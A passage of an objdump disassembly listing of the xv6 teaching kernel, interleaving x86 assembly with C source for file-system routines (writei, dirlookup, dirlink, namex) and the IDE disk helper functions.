80102080: 8b 04 c5 a4 2b 11 80 mov -0x7feed45c(,%eax,8),%eax 80102087: 8b 55 14 mov 0x14(%ebp),%edx 8010208a: 83 ec 04 sub $0x4,%esp 8010208d: 52 push %edx 8010208e: ff 75 0c pushl 0xc(%ebp) 80102091: ff 75 08 pushl 0x8(%ebp) 80102094: ff d0 call *%eax 80102096: 83 c4 10 add $0x10,%esp 80102099: e9 17 01 00 00 jmp 801021b5 <writei+0x186> } if(off > ip->size || off + n < off) 8010209e: 8b 45 08 mov 0x8(%ebp),%eax 801020a1: 8b 40 18 mov 0x18(%eax),%eax 801020a4: 3b 45 10 cmp 0x10(%ebp),%eax 801020a7: 72 0d jb 801020b6 <writei+0x87> 801020a9: 8b 55 10 mov 0x10(%ebp),%edx 801020ac: 8b 45 14 mov 0x14(%ebp),%eax 801020af: 01 d0 add %edx,%eax 801020b1: 3b 45 10 cmp 0x10(%ebp),%eax 801020b4: 73 0a jae 801020c0 <writei+0x91> return -1; 801020b6: b8 ff ff ff ff mov $0xffffffff,%eax 801020bb: e9 f5 00 00 00 jmp 801021b5 <writei+0x186> if(off + n > MAXFILE*BSIZE) 801020c0: 8b 55 10 mov 0x10(%ebp),%edx 801020c3: 8b 45 14 mov 0x14(%ebp),%eax 801020c6: 01 d0 add %edx,%eax 801020c8: 3d 00 18 01 00 cmp $0x11800,%eax 801020cd: 76 0a jbe 801020d9 <writei+0xaa> return -1; 801020cf: b8 ff ff ff ff mov $0xffffffff,%eax 801020d4: e9 dc 00 00 00 jmp 801021b5 <writei+0x186> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 801020d9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801020e0: e9 99 00 00 00 jmp 8010217e <writei+0x14f> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801020e5: 8b 45 10 mov 0x10(%ebp),%eax 801020e8: c1 e8 09 shr $0x9,%eax 801020eb: 83 ec 08 sub $0x8,%esp 801020ee: 50 push %eax 801020ef: ff 75 08 pushl 0x8(%ebp) 801020f2: e8 58 fb ff ff call 80101c4f <bmap> 801020f7: 83 c4 10 add $0x10,%esp 801020fa: 89 c2 mov %eax,%edx 801020fc: 8b 45 08 mov 0x8(%ebp),%eax 801020ff: 8b 00 mov (%eax),%eax 80102101: 83 ec 08 sub $0x8,%esp 80102104: 52 push %edx 80102105: 50 push %eax 80102106: e8 ab e0 ff ff call 801001b6 <bread> 8010210b: 83 c4 10 add $0x10,%esp 8010210e: 89 45 f0 mov %eax,-0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 80102111: 8b 45 10 mov 0x10(%ebp),%eax 80102114: 25 ff 01 00 00 and $0x1ff,%eax 80102119: ba 00 02 00 00 mov $0x200,%edx 8010211e: 29 c2 sub %eax,%edx 80102120: 8b 45 14 mov 0x14(%ebp),%eax 80102123: 2b 45 f4 sub -0xc(%ebp),%eax 80102126: 39 c2 cmp %eax,%edx 80102128: 0f 46 c2 cmovbe %edx,%eax 8010212b: 89 45 ec mov %eax,-0x14(%ebp) memmove(bp->data + off%BSIZE, src, m); 8010212e: 8b 45 f0 mov -0x10(%ebp),%eax 80102131: 8d 50 18 lea 0x18(%eax),%edx 80102134: 8b 45 10 mov 0x10(%ebp),%eax 80102137: 25 ff 01 00 00 and $0x1ff,%eax 8010213c: 01 d0 add %edx,%eax 8010213e: 83 ec 04 sub $0x4,%esp 80102141: ff 75 ec pushl -0x14(%ebp) 80102144: ff 75 0c pushl 0xc(%ebp) 80102147: 50 push %eax 80102148: e8 0b 33 00 00 call 80105458 <memmove> 8010214d: 83 c4 10 add $0x10,%esp log_write(bp); 80102150: 83 ec 0c sub $0xc,%esp 80102153: ff 75 f0 pushl -0x10(%ebp) 80102156: e8 2a 16 00 00 call 80103785 <log_write> 8010215b: 83 c4 10 add $0x10,%esp brelse(bp); 8010215e: 83 ec 0c sub $0xc,%esp 80102161: ff 75 f0 pushl -0x10(%ebp) 80102164: e8 c5 e0 ff ff call 8010022e <brelse> 80102169: 83 c4 10 add $0x10,%esp if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 8010216c: 8b 45 ec mov -0x14(%ebp),%eax 8010216f: 01 45 f4 add %eax,-0xc(%ebp) 80102172: 8b 45 ec mov -0x14(%ebp),%eax 80102175: 01 45 10 add %eax,0x10(%ebp) 80102178: 8b 45 ec mov -0x14(%ebp),%eax 8010217b: 01 45 0c add %eax,0xc(%ebp) 8010217e: 8b 45 f4 mov -0xc(%ebp),%eax 80102181: 3b 45 14 cmp 0x14(%ebp),%eax 80102184: 0f 82 5b ff ff ff jb 801020e5 <writei+0xb6> memmove(bp->data + off%BSIZE, src, m); log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ 8010218a: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 8010218e: 74 22 je 801021b2 <writei+0x183> 80102190: 8b 45 08 mov 0x8(%ebp),%eax 80102193: 8b 40 18 mov 0x18(%eax),%eax 80102196: 3b 45 10 cmp 0x10(%ebp),%eax 80102199: 73 17 jae 801021b2 <writei+0x183> ip->size = off; 8010219b: 8b 45 08 mov 0x8(%ebp),%eax 8010219e: 8b 55 10 mov 0x10(%ebp),%edx 801021a1: 89 50 18 mov %edx,0x18(%eax) iupdate(ip); 801021a4: 83 ec 0c sub $0xc,%esp 801021a7: ff 75 08 pushl 0x8(%ebp) 801021aa: e8 e1 f5 ff ff call 80101790 <iupdate> 801021af: 83 c4 10 add $0x10,%esp } return n; 801021b2: 8b 45 14 mov 0x14(%ebp),%eax } 801021b5: c9 leave 801021b6: c3 ret 801021b7 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 801021b7: 55 push %ebp 801021b8: 89 e5 mov %esp,%ebp 801021ba: 83 ec 08 sub $0x8,%esp return strncmp(s, t, DIRSIZ); 801021bd: 83 ec 04 sub $0x4,%esp 801021c0: 6a 0e push $0xe 801021c2: ff 75 0c pushl 0xc(%ebp) 801021c5: ff 75 08 pushl 0x8(%ebp) 801021c8: e8 21 33 00 00 call 801054ee <strncmp> 801021cd: 83 c4 10 add $0x10,%esp } 801021d0: c9 leave 801021d1: c3 ret 801021d2 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 801021d2: 55 push %ebp 801021d3: 89 e5 mov %esp,%ebp 801021d5: 83 ec 28 sub $0x28,%esp uint off, inum; struct dirent de; if(dp->type != T_DIR) 801021d8: 8b 45 08 mov 0x8(%ebp),%eax 801021db: 0f b7 40 10 movzwl 0x10(%eax),%eax 801021df: 66 83 f8 01 cmp $0x1,%ax 801021e3: 74 0d je 801021f2 <dirlookup+0x20> panic("dirlookup not DIR"); 801021e5: 83 ec 0c sub $0xc,%esp 801021e8: 68 9b 8a 10 80 push $0x80108a9b 801021ed: e8 74 e3 ff ff call 80100566 <panic> for(off = 0; off < dp->size; off += sizeof(de)){ 801021f2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801021f9: eb 7b jmp 80102276 <dirlookup+0xa4> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 801021fb: 6a 10 push $0x10 801021fd: ff 75 f4 pushl -0xc(%ebp) 80102200: 8d 45 e0 lea -0x20(%ebp),%eax 80102203: 50 push %eax 80102204: ff 75 08 pushl 0x8(%ebp) 80102207: e8 cc fc ff ff call 80101ed8 <readi> 8010220c: 83 c4 10 add $0x10,%esp 8010220f: 83 f8 10 cmp $0x10,%eax 80102212: 74 0d je 80102221 <dirlookup+0x4f> panic("dirlink read"); 80102214: 83 ec 0c sub $0xc,%esp 80102217: 68 ad 8a 10 80 push $0x80108aad 8010221c: e8 45 e3 ff ff call 80100566 <panic> if(de.inum == 0) 80102221: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 80102225: 66 85 c0 test %ax,%ax 80102228: 74 47 je 80102271 <dirlookup+0x9f> continue; if(namecmp(name, de.name) == 0){ 8010222a: 83 ec 08 sub $0x8,%esp 8010222d: 8d 45 e0 lea -0x20(%ebp),%eax 80102230: 83 c0 02 add $0x2,%eax 80102233: 50 push %eax 80102234: ff 75 0c pushl 0xc(%ebp) 80102237: e8 7b ff ff ff call 801021b7 <namecmp> 8010223c: 83 c4 10 add $0x10,%esp 8010223f: 85 c0 test %eax,%eax 80102241: 75 2f jne 80102272 <dirlookup+0xa0> // entry matches path element if(poff) 80102243: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80102247: 74 08 je 80102251 <dirlookup+0x7f> *poff = off; 80102249: 8b 45 10 mov 0x10(%ebp),%eax 8010224c: 8b 55 f4 mov -0xc(%ebp),%edx 8010224f: 89 10 mov %edx,(%eax) inum = de.inum; 80102251: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 80102255: 0f b7 c0 movzwl %ax,%eax 80102258: 89 45 f0 mov %eax,-0x10(%ebp) return iget(dp->dev, inum); 8010225b: 8b 45 08 mov 0x8(%ebp),%eax 8010225e: 8b 00 mov (%eax),%eax 80102260: 83 ec 08 sub $0x8,%esp 80102263: ff 75 f0 pushl -0x10(%ebp) 80102266: 50 push %eax 80102267: e8 e5 f5 ff ff call 80101851 <iget> 8010226c: 83 c4 10 add $0x10,%esp 8010226f: eb 19 jmp 8010228a <dirlookup+0xb8> for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); if(de.inum == 0) continue; 80102271: 90 nop struct dirent de; if(dp->type != T_DIR) panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80102272: 83 45 f4 10 addl $0x10,-0xc(%ebp) 80102276: 8b 45 08 mov 0x8(%ebp),%eax 80102279: 8b 40 18 mov 0x18(%eax),%eax 8010227c: 3b 45 f4 cmp -0xc(%ebp),%eax 8010227f: 0f 87 76 ff ff ff ja 801021fb <dirlookup+0x29> inum = de.inum; return iget(dp->dev, inum); } } return 0; 80102285: b8 00 00 00 00 mov $0x0,%eax } 8010228a: c9 leave 8010228b: c3 ret 8010228c <dirlink>: // Write a new directory entry (name, inum) into the directory dp. int dirlink(struct inode *dp, char *name, uint inum) { 8010228c: 55 push %ebp 8010228d: 89 e5 mov %esp,%ebp 8010228f: 83 ec 28 sub $0x28,%esp int off; struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ 80102292: 83 ec 04 sub $0x4,%esp 80102295: 6a 00 push $0x0 80102297: ff 75 0c pushl 0xc(%ebp) 8010229a: ff 75 08 pushl 0x8(%ebp) 8010229d: e8 30 ff ff ff call 801021d2 <dirlookup> 801022a2: 83 c4 10 add $0x10,%esp 801022a5: 89 45 f0 mov %eax,-0x10(%ebp) 801022a8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801022ac: 74 18 je 801022c6 <dirlink+0x3a> iput(ip); 801022ae: 83 ec 0c sub $0xc,%esp 801022b1: ff 75 f0 pushl -0x10(%ebp) 801022b4: e8 81 f8 ff ff call 80101b3a <iput> 801022b9: 83 c4 10 add $0x10,%esp return -1; 801022bc: b8 ff ff ff ff mov $0xffffffff,%eax 801022c1: e9 9c 00 00 00 jmp 80102362 <dirlink+0xd6> } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 801022c6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801022cd: eb 39 jmp 80102308 <dirlink+0x7c> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 801022cf: 8b 45 f4 mov -0xc(%ebp),%eax 801022d2: 6a 10 push $0x10 801022d4: 50 push %eax 801022d5: 8d 45 e0 lea -0x20(%ebp),%eax 801022d8: 50 push %eax 801022d9: ff 75 08 pushl 0x8(%ebp) 801022dc: e8 f7 fb ff ff call 80101ed8 <readi> 801022e1: 83 c4 10 add $0x10,%esp 801022e4: 83 f8 10 cmp $0x10,%eax 801022e7: 74 0d je 801022f6 <dirlink+0x6a> panic("dirlink read"); 801022e9: 83 ec 0c sub $0xc,%esp 801022ec: 68 ad 8a 10 80 push $0x80108aad 801022f1: e8 70 e2 ff ff call 80100566 <panic> if(de.inum == 0) 801022f6: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 801022fa: 66 85 c0 test %ax,%ax 801022fd: 74 18 je 80102317 <dirlink+0x8b> iput(ip); return -1; } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 801022ff: 8b 45 f4 mov -0xc(%ebp),%eax 80102302: 83 c0 10 add $0x10,%eax 80102305: 89 45 f4 mov %eax,-0xc(%ebp) 80102308: 8b 45 08 mov 0x8(%ebp),%eax 8010230b: 8b 50 18 mov 0x18(%eax),%edx 8010230e: 8b 45 f4 mov -0xc(%ebp),%eax 80102311: 39 c2 cmp %eax,%edx 80102313: 77 ba ja 801022cf <dirlink+0x43> 80102315: eb 01 jmp 80102318 <dirlink+0x8c> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); if(de.inum == 0) break; 80102317: 90 nop } strncpy(de.name, name, DIRSIZ); 80102318: 83 ec 04 sub $0x4,%esp 8010231b: 6a 0e push $0xe 8010231d: ff 75 0c pushl 0xc(%ebp) 80102320: 8d 45 e0 lea -0x20(%ebp),%eax 80102323: 83 c0 02 add $0x2,%eax 80102326: 50 push %eax 80102327: e8 18 32 00 00 call 80105544 <strncpy> 8010232c: 83 c4 10 add $0x10,%esp de.inum = inum; 8010232f: 8b 45 10 mov 0x10(%ebp),%eax 80102332: 66 89 45 e0 mov %ax,-0x20(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80102336: 8b 45 f4 mov -0xc(%ebp),%eax 80102339: 6a 10 push $0x10 8010233b: 50 push %eax 8010233c: 8d 45 e0 lea -0x20(%ebp),%eax 8010233f: 50 push %eax 80102340: ff 75 08 pushl 0x8(%ebp) 80102343: e8 e7 fc ff ff call 8010202f <writei> 80102348: 83 c4 10 add $0x10,%esp 8010234b: 83 f8 10 cmp $0x10,%eax 8010234e: 74 0d je 8010235d <dirlink+0xd1> panic("dirlink"); 80102350: 83 ec 0c sub $0xc,%esp 80102353: 68 ba 8a 10 80 push $0x80108aba 80102358: e8 09 e2 ff ff call 80100566 <panic> return 0; 8010235d: b8 00 00 00 00 mov $0x0,%eax } 80102362: c9 leave 80102363: c3 ret 80102364 <skipelem>: // skipelem("a", name) = "", setting name = "a" // skipelem("", name) = skipelem("////", name) = 0 // static char* skipelem(char *path, char *name) { 80102364: 55 push %ebp 80102365: 89 e5 mov %esp,%ebp 80102367: 83 ec 18 sub $0x18,%esp char *s; int len; while(*path == '/') 8010236a: eb 04 jmp 80102370 <skipelem+0xc> path++; 8010236c: 83 45 08 01 addl $0x1,0x8(%ebp) skipelem(char *path, char *name) { char *s; int len; while(*path == '/') 80102370: 8b 45 08 mov 0x8(%ebp),%eax 80102373: 0f b6 00 movzbl (%eax),%eax 80102376: 3c 2f cmp $0x2f,%al 80102378: 74 f2 je 8010236c <skipelem+0x8> path++; if(*path == 0) 8010237a: 8b 45 08 mov 0x8(%ebp),%eax 8010237d: 0f b6 00 movzbl (%eax),%eax 80102380: 84 c0 test %al,%al 80102382: 75 07 jne 8010238b <skipelem+0x27> return 0; 80102384: b8 00 00 00 00 mov $0x0,%eax 80102389: eb 7b jmp 80102406 <skipelem+0xa2> s = path; 8010238b: 8b 45 08 mov 0x8(%ebp),%eax 8010238e: 89 45 f4 mov %eax,-0xc(%ebp) while(*path != '/' && *path != 0) 80102391: eb 04 jmp 80102397 <skipelem+0x33> path++; 80102393: 83 45 08 01 addl $0x1,0x8(%ebp) while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80102397: 8b 45 08 mov 0x8(%ebp),%eax 8010239a: 0f b6 00 movzbl (%eax),%eax 8010239d: 3c 2f cmp $0x2f,%al 8010239f: 74 0a je 801023ab <skipelem+0x47> 801023a1: 8b 45 08 mov 0x8(%ebp),%eax 801023a4: 0f b6 00 movzbl (%eax),%eax 801023a7: 84 c0 test %al,%al 801023a9: 75 e8 jne 80102393 <skipelem+0x2f> path++; len = path - s; 801023ab: 8b 55 08 mov 0x8(%ebp),%edx 801023ae: 8b 45 f4 mov -0xc(%ebp),%eax 801023b1: 29 c2 sub %eax,%edx 801023b3: 89 d0 mov %edx,%eax 801023b5: 89 45 f0 mov %eax,-0x10(%ebp) if(len >= DIRSIZ) 801023b8: 83 7d f0 0d cmpl $0xd,-0x10(%ebp) 801023bc: 7e 15 jle 801023d3 <skipelem+0x6f> memmove(name, s, DIRSIZ); 801023be: 83 ec 04 sub $0x4,%esp 801023c1: 6a 0e push $0xe 801023c3: ff 75 f4 pushl -0xc(%ebp) 801023c6: ff 75 0c pushl 0xc(%ebp) 801023c9: e8 8a 30 00 00 call 80105458 <memmove> 801023ce: 83 c4 10 add $0x10,%esp 801023d1: eb 26 jmp 801023f9 <skipelem+0x95> else { memmove(name, s, len); 801023d3: 8b 45 f0 mov -0x10(%ebp),%eax 801023d6: 83 ec 04 sub $0x4,%esp 801023d9: 50 push %eax 801023da: ff 75 f4 pushl -0xc(%ebp) 801023dd: ff 75 0c pushl 0xc(%ebp) 801023e0: e8 73 30 00 00 call 80105458 <memmove> 801023e5: 83 c4 10 add $0x10,%esp name[len] = 0; 801023e8: 8b 55 f0 mov -0x10(%ebp),%edx 801023eb: 8b 45 0c mov 0xc(%ebp),%eax 801023ee: 01 d0 add %edx,%eax 801023f0: c6 00 00 movb $0x0,(%eax) } while(*path == '/') 801023f3: eb 04 jmp 801023f9 <skipelem+0x95> path++; 801023f5: 83 45 08 01 addl $0x1,0x8(%ebp) memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 801023f9: 8b 45 08 mov 0x8(%ebp),%eax 801023fc: 0f b6 00 movzbl (%eax),%eax 801023ff: 3c 2f cmp $0x2f,%al 80102401: 74 f2 je 801023f5 <skipelem+0x91> path++; return path; 80102403: 8b 45 08 mov 0x8(%ebp),%eax } 80102406: c9 leave 80102407: c3 ret 80102408 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80102408: 55 push %ebp 80102409: 89 e5 mov %esp,%ebp 8010240b: 83 ec 18 sub $0x18,%esp struct inode *ip, *next; if(*path == '/') 8010240e: 8b 45 08 mov 0x8(%ebp),%eax 80102411: 0f b6 00 movzbl (%eax),%eax 80102414: 3c 2f cmp $0x2f,%al 80102416: 75 17 jne 8010242f <namex+0x27> ip = iget(ROOTDEV, ROOTINO); 80102418: 83 ec 08 sub $0x8,%esp 8010241b: 6a 01 push $0x1 8010241d: 6a 01 push $0x1 8010241f: e8 2d f4 ff ff call 80101851 <iget> 80102424: 83 c4 10 add $0x10,%esp 80102427: 89 45 f4 mov %eax,-0xc(%ebp) 8010242a: e9 bb 00 00 00 jmp 801024ea <namex+0xe2> else ip = idup(proc->cwd); 8010242f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80102435: 8b 40 68 mov 0x68(%eax),%eax 80102438: 83 ec 0c sub $0xc,%esp 8010243b: 50 push %eax 8010243c: e8 ef f4 ff ff call 80101930 <idup> 80102441: 83 c4 10 add $0x10,%esp 80102444: 89 45 f4 mov %eax,-0xc(%ebp) while((path = skipelem(path, name)) != 0){ 80102447: e9 9e 00 00 00 jmp 801024ea <namex+0xe2> ilock(ip); 8010244c: 83 ec 0c sub $0xc,%esp 8010244f: ff 75 f4 pushl -0xc(%ebp) 80102452: e8 13 f5 ff ff call 8010196a <ilock> 80102457: 83 c4 10 add $0x10,%esp if(ip->type != T_DIR){ 8010245a: 8b 45 f4 mov -0xc(%ebp),%eax 8010245d: 0f b7 40 10 movzwl 0x10(%eax),%eax 80102461: 66 83 f8 01 cmp $0x1,%ax 80102465: 74 18 je 8010247f <namex+0x77> iunlockput(ip); 80102467: 83 ec 0c sub $0xc,%esp 8010246a: ff 75 f4 pushl -0xc(%ebp) 8010246d: e8 b8 f7 ff ff call 80101c2a <iunlockput> 80102472: 83 c4 10 add $0x10,%esp return 0; 80102475: b8 00 00 00 00 mov $0x0,%eax 8010247a: e9 a7 00 00 00 jmp 80102526 <namex+0x11e> } if(nameiparent && *path == '\0'){ 8010247f: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80102483: 74 20 je 801024a5 <namex+0x9d> 80102485: 8b 45 08 mov 0x8(%ebp),%eax 80102488: 0f b6 00 movzbl (%eax),%eax 8010248b: 84 c0 test %al,%al 8010248d: 75 16 jne 801024a5 <namex+0x9d> // Stop one level early. iunlock(ip); 8010248f: 83 ec 0c sub $0xc,%esp 80102492: ff 75 f4 pushl -0xc(%ebp) 80102495: e8 2e f6 ff ff call 80101ac8 <iunlock> 8010249a: 83 c4 10 add $0x10,%esp return ip; 8010249d: 8b 45 f4 mov -0xc(%ebp),%eax 801024a0: e9 81 00 00 00 jmp 80102526 <namex+0x11e> } if((next = dirlookup(ip, name, 0)) == 0){ 801024a5: 83 ec 04 sub $0x4,%esp 801024a8: 6a 00 push $0x0 801024aa: ff 75 10 pushl 0x10(%ebp) 801024ad: ff 75 f4 pushl -0xc(%ebp) 801024b0: e8 1d fd ff ff call 801021d2 <dirlookup> 801024b5: 83 c4 10 add $0x10,%esp 801024b8: 89 45 f0 mov %eax,-0x10(%ebp) 801024bb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801024bf: 75 15 jne 801024d6 <namex+0xce> iunlockput(ip); 801024c1: 83 ec 0c sub $0xc,%esp 801024c4: ff 75 f4 pushl -0xc(%ebp) 801024c7: e8 5e f7 ff ff call 80101c2a <iunlockput> 801024cc: 83 c4 10 add $0x10,%esp return 0; 801024cf: b8 00 00 00 00 mov $0x0,%eax 801024d4: eb 50 jmp 80102526 <namex+0x11e> } iunlockput(ip); 801024d6: 83 ec 0c sub $0xc,%esp 801024d9: ff 75 f4 pushl -0xc(%ebp) 801024dc: e8 49 f7 ff ff call 80101c2a <iunlockput> 801024e1: 83 c4 10 add $0x10,%esp ip = next; 801024e4: 8b 45 f0 mov -0x10(%ebp),%eax 801024e7: 89 45 f4 mov %eax,-0xc(%ebp) if(*path == '/') ip = iget(ROOTDEV, ROOTINO); else ip = idup(proc->cwd); while((path = skipelem(path, name)) != 0){ 801024ea: 83 ec 08 sub $0x8,%esp 801024ed: ff 75 10 pushl 0x10(%ebp) 801024f0: ff 75 08 pushl 0x8(%ebp) 801024f3: e8 6c fe ff ff call 80102364 <skipelem> 801024f8: 83 c4 10 add $0x10,%esp 801024fb: 89 45 08 mov %eax,0x8(%ebp) 801024fe: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102502: 0f 85 44 ff ff ff jne 8010244c <namex+0x44> return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80102508: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 8010250c: 74 15 je 80102523 <namex+0x11b> iput(ip); 8010250e: 83 ec 0c sub $0xc,%esp 80102511: ff 75 f4 pushl -0xc(%ebp) 80102514: e8 21 f6 ff ff call 80101b3a <iput> 80102519: 83 c4 10 add $0x10,%esp return 0; 8010251c: b8 00 00 00 00 mov $0x0,%eax 80102521: eb 03 jmp 80102526 <namex+0x11e> } return ip; 80102523: 8b 45 f4 mov -0xc(%ebp),%eax } 80102526: c9 leave 80102527: c3 ret 80102528 <namei>: struct inode* namei(char *path) { 80102528: 55 push %ebp 80102529: 89 e5 mov %esp,%ebp 8010252b: 83 ec 18 sub $0x18,%esp char name[DIRSIZ]; return namex(path, 0, name); 8010252e: 83 ec 04 sub $0x4,%esp 80102531: 8d 45 ea lea -0x16(%ebp),%eax 80102534: 50 push %eax 80102535: 6a 00 push $0x0 80102537: ff 75 08 pushl 0x8(%ebp) 8010253a: e8 c9 fe ff ff call 80102408 <namex> 8010253f: 83 c4 10 add $0x10,%esp } 80102542: c9 leave 80102543: c3 ret 80102544 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80102544: 55 push %ebp 80102545: 89 e5 mov %esp,%ebp 80102547: 83 ec 08 sub $0x8,%esp return namex(path, 1, name); 8010254a: 83 ec 04 sub $0x4,%esp 8010254d: ff 75 0c pushl 0xc(%ebp) 80102550: 6a 01 push $0x1 80102552: ff 75 08 pushl 0x8(%ebp) 80102555: e8 ae fe ff ff call 80102408 <namex> 8010255a: 83 c4 10 add $0x10,%esp } 8010255d: c9 leave 8010255e: c3 ret 8010255f <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 8010255f: 55 push %ebp 80102560: 89 e5 mov %esp,%ebp 80102562: 83 ec 14 sub $0x14,%esp 80102565: 8b 45 08 mov 0x8(%ebp),%eax 80102568: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010256c: 0f b7 45 ec movzwl -0x14(%ebp),%eax 80102570: 89 c2 mov %eax,%edx 80102572: ec in (%dx),%al 80102573: 88 45 ff mov %al,-0x1(%ebp) return data; 80102576: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 8010257a: c9 leave 8010257b: c3 ret 8010257c <insl>: static inline void insl(int port, void *addr, int cnt) { 8010257c: 55 push %ebp 8010257d: 89 e5 mov %esp,%ebp 8010257f: 57 push %edi 80102580: 53 push %ebx asm volatile("cld; rep insl" : 80102581: 8b 55 08 mov 0x8(%ebp),%edx 80102584: 8b 4d 0c mov 0xc(%ebp),%ecx 80102587: 8b 45 10 mov 0x10(%ebp),%eax 8010258a: 89 cb mov %ecx,%ebx 8010258c: 89 df mov %ebx,%edi 8010258e: 89 c1 mov %eax,%ecx 80102590: fc cld 80102591: f3 6d rep insl (%dx),%es:(%edi) 80102593: 89 c8 mov %ecx,%eax 80102595: 89 fb mov %edi,%ebx 80102597: 89 5d 0c mov %ebx,0xc(%ebp) 8010259a: 89 45 10 mov %eax,0x10(%ebp) "=D" (addr), "=c" (cnt) : "d" (port), "0" (addr), "1" (cnt) : "memory", "cc"); } 8010259d: 90 nop 8010259e: 5b pop %ebx 8010259f: 5f pop %edi 801025a0: 5d pop %ebp 801025a1: c3 ret 801025a2 <outb>: static inline void outb(ushort port, uchar data) { 801025a2: 55 push %ebp 801025a3: 89 e5 mov %esp,%ebp 801025a5: 83 ec 08 sub $0x8,%esp 801025a8: 8b 55 08 mov 0x8(%ebp),%edx 801025ab: 8b 45 0c mov 0xc(%ebp),%eax 801025ae: 66 89 55 fc mov %dx,-0x4(%ebp) 801025b2: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025b5: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 801025b9: 0f b7 55 fc movzwl -0x4(%ebp),%edx 801025bd: ee out %al,(%dx) } 801025be: 90 nop 801025bf: c9 leave 801025c0: c3 ret 801025c1 <outsl>: asm volatile("out %0,%1" : : "a" (data), "d" (port)); } static inline void outsl(int port, const void *addr, int cnt) { 801025c1: 55 push %ebp 801025c2: 89 e5 mov %esp,%ebp 801025c4: 56 push %esi 801025c5: 53 push %ebx asm volatile("cld; rep outsl" : 801025c6: 8b 55 08 mov 0x8(%ebp),%edx 801025c9: 8b 4d 0c mov 0xc(%ebp),%ecx 801025cc: 8b 45 10 mov 0x10(%ebp),%eax 801025cf: 89 cb mov %ecx,%ebx 801025d1: 89 de mov %ebx,%esi 801025d3: 89 c1 mov %eax,%ecx 801025d5: fc cld 801025d6: f3 6f rep outsl %ds:(%esi),(%dx) 801025d8: 89 c8 mov %ecx,%eax 801025da: 89 f3 mov %esi,%ebx 801025dc: 89 5d 0c mov %ebx,0xc(%ebp) 801025df: 89 45 10 mov %eax,0x10(%ebp) "=S" (addr), "=c" (cnt) : "d" (port), "0" (addr), "1" (cnt) : "cc"); } 801025e2: 90 nop 801025e3: 5b pop %ebx 801025e4: 5e pop %esi 801025e5: 5d pop %ebp 801025e6: c3 ret 801025e7 <idewait>: static void idestart(struct buf*); // Wait for IDE disk to become ready. static int idewait(int checkerr) { 801025e7: 55 push %ebp 801025e8: 89 e5 mov %esp,%ebp 801025ea: 83 ec 10 sub $0x10,%esp int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801025ed: 90 nop 801025ee: 68 f7 01 00 00 push $0x1f7 801025f3: e8 67 ff ff ff call 8010255f <inb> 801025f8: 83 c4 04 add $0x4,%esp 801025fb: 0f b6 c0 movzbl %al,%eax 801025fe: 89 45 fc mov %eax,-0x4(%ebp) 80102601: 8b 45 fc mov -0x4(%ebp),%eax 80102604: 25 c0 00 00 00 and $0xc0,%eax 80102609: 83 f8 40 cmp $0x40,%eax 8010260c: 75 e0 jne 801025ee <idewait+0x7> ; if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 8010260e: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102612: 74 11 je 80102625 <idewait+0x3e> 80102614: 8b 45 fc mov -0x4(%ebp),%eax 80102617: 83 e0 21 and $0x21,%eax 8010261a: 85 c0 test %eax,%eax 8010261c: 74 07 je 80102625 <idewait+0x3e> return -1; 8010261e: b8 ff ff ff ff mov $0xffffffff,%eax 80102623: eb 05 jmp 8010262a <idewait+0x43> return 0; 80102625: b8 00 00 00 00 mov $0x0,%eax } 8010262a: c9 leave 8010262b: c3 ret 8010262c <ideinit>: void ideinit(void) { 8010262c: 55 push %ebp 8010262d: 89 e5 mov %esp,%ebp 8010262f: 83 ec 18 sub $0x18,%esp int i; initlock(&idelock, "ide"); 80102632: 83 ec 08 